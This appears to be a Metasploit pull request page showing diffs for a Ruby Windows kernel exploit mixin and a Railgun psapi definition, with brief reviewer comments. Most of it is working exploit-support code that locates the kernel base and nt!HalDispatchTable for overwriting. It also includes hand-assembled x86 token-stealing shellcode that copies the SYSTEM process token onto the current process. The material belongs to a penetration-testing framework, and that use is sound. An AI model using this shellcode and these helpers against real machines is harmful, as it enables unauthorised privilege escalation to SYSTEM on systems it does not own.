WindowsKernel Exploit Mixin And Module Refactoring #3612
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| # -*- coding: binary -*- | ||
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| module Msf | ||
| module Exploit::Local::WindowsKernel | ||
| include Msf::PostMixin | ||
| include Msf::Post::Windows::Error | ||
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| # | ||
| # Find the address of nt!HalDispatchTable. | ||
| # | ||
| # @return [Integer] The address of nt!HalDispatchTable. | ||
| # @return [nil] If the address could not be found. | ||
| # | ||
| def find_haldispatchtable | ||
| kernel_address, kernel_name = find_sys_base(nil) | ||
| if kernel_address.nil? || kernel_name.nil? | ||
| print_error("Failed to find the address of the Windows kernel") | ||
| return nil | ||
| end | ||
| vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}") | ||
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| h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1) | ||
| if h_kernel['return'] == 0 | ||
| print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") | ||
| return nil | ||
| end | ||
| h_kernel = h_kernel['return'] | ||
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| hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') | ||
| if hal_dispatch_table['return'] == 0 | ||
| print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})") | ||
| return nil | ||
| end | ||
| hal_dispatch_table = hal_dispatch_table['return'] | ||
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| hal_dispatch_table -= h_kernel | ||
| hal_dispatch_table += kernel_address | ||
| vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") | ||
| hal_dispatch_table | ||
| end | ||
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| # | ||
| # Find the load address for a device driver on the session. | ||
| # | ||
| # @param drvname [String, nil] The name of the module to find, otherwise the kernel | ||
| # if this value is nil. | ||
| # @return [Array] An array containing the base address and the located drivers name. | ||
| # @return [nil] If the name specified could not be found. | ||
| # | ||
| def find_sys_base(drvname) | ||
| if sysinfo['Architecture'] =~ /(x86|wow64)/i | ||
| ptr_size = 4 | ||
| else | ||
| ptr_size = 8 | ||
| end | ||
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| results = session.railgun.psapi.EnumDeviceDrivers(0, 0, ptr_size) | ||
| unless results['return'] | ||
| print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") | ||
| return nil | ||
| end | ||
| results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], ptr_size) | ||
| unless results['return'] | ||
| print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") | ||
| return nil | ||
| end | ||
| addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack((ptr_size == 4 ? 'V' : 'Q') + '*') | ||
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| addresses.each do |address| | ||
| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) | ||
| if results['return'] == 0 | ||
| print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") | ||
| return nil | ||
| end | ||
| current_drvname = results['lpBaseName'][0,results['return']] | ||
| if drvname.nil? | ||
| if current_drvname.downcase.include?('krnl') | ||
| return address, current_drvname | ||
| end | ||
| elsif drvname == current_drvname | ||
| return address, current_drvname | ||
| end | ||
| end | ||
| end | ||
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| # | ||
| # Open a device on a meterpreter session with a call to CreateFileA and return | ||
| # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile | ||
| # are specified as nil. | ||
| # | ||
| # @param file_name [String] Passed to CreateFileA as the lpFileName parameter. | ||
| # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. | ||
| # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. | ||
| # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. | ||
| # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. | ||
| # @return [Integer] The device handle. | ||
| # @return [nil] If the call to CreateFileA failed. | ||
| # | ||
| def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) | ||
| handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) | ||
| if handle['return'] == INVALID_HANDLE_VALUE | ||
| print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})") | ||
| return nil | ||
| end | ||
| handle['return'] | ||
| end | ||
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| # | ||
| # Generate token stealing shellcode suitable for use when overwriting the | ||
| # HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx | ||
| # registers. | ||
| # | ||
| # @param target [Hash] The target information containing the offsets to _KPROCESS, | ||
| # _TOKEN, _UPID and _APLINKS. | ||
| # @param backup_token [Integer] An optional location to write a copy of the | ||
| # original token to so it can be restored later. | ||
| # @param arch [String] The architecture to return shellcode for. If this is nil, | ||
| # the arch will be guessed from the target and then module information. | ||
| # @return [String] The token stealing shellcode. | ||
| # @raise [ArgumentError] If the arch is incompatible. | ||
| # | ||
| def token_stealing_shellcode(target, backup_token = nil, arch = nil) | ||
| arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] | ||
| if arch.nil? && module_info['Arch'] | ||
| arch = module_info['Arch'] | ||
| arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 | ||
| end | ||
| if arch.nil? | ||
| print_error('Can not determine the target architecture') | ||
| fail ArgumentError, 'Invalid arch' | ||
| end | ||
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| tokenstealing = '' | ||
| case arch | ||
| when ARCH_X86 | ||
| tokenstealing << "\x52" # push edx # Save edx on the stack | ||
|
There was a problem hiding this comment. Would be good to get the assembly source in the same external/ data/ locations as existing assembly usermode payloads. Although that could come later. There was a problem hiding this comment. I'm not so sure about this since the shellcode as it's provided is not a payload. |
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| tokenstealing << "\x53" # push ebx # Save ebx on the stack | ||
| tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 | ||
| tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD | ||
| tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS | ||
| tokenstealing << "\x8b\xc8" # mov ecx, eax | ||
| tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN | ||
| unless backup_token.nil? | ||
| tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided | ||
| end | ||
| tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks | ||
| tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks | ||
| tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) | ||
| tokenstealing << "\x75\xe8" # jne 0000101e ====================== | ||
| tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX | ||
| tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX | ||
| tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS | ||
| tokenstealing << "\x5b" # pop ebx # Restores ebx | ||
| tokenstealing << "\x5a" # pop edx # Restores edx | ||
| tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! | ||
| else | ||
| # if this is reached the issue most likely exists in the exploit module | ||
| print_error('Unsupported arch for token stealing shellcode') | ||
| fail ArgumentError, 'Invalid arch' | ||
| end | ||
| tokenstealing | ||
| end | ||
| end | ||
| end | ||
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,32 @@ | ||
| # -*- coding: binary -*- | ||
| module Rex | ||
| module Post | ||
| module Meterpreter | ||
| module Extensions | ||
| module Stdapi | ||
| module Railgun | ||
| module Def | ||
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| class Def_psapi | ||
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| def self.create_dll(dll_path = 'psapi') | ||
| dll = DLL.new(dll_path, ApiConstants.manager) | ||
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| dll.add_function('EnumDeviceDrivers', 'BOOL',[ | ||
| %w(PBLOB lpImageBase out), | ||
| %w(DWORD cb in), | ||
| %w(PDWORD lpcbNeeded out) | ||
| ]) | ||
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| dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [ | ||
| %w(LPVOID ImageBase in), | ||
| %w(PBLOB lpBaseName out), | ||
| %w(DWORD nSize in) | ||
| ]) | ||
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| return dll | ||
| end | ||
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| end | ||
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| end; end; end; end; end; end; end |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
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@@ -78,7 +78,8 @@ class Railgun | |
| 'crypt32', | ||
| 'wlanapi', | ||
| 'wldap32', | ||
| 'version', | ||
| 'psapi' | ||
| ].freeze | ||
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| ## | ||
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I think railgun.util exposes pointer_size which is a bit neater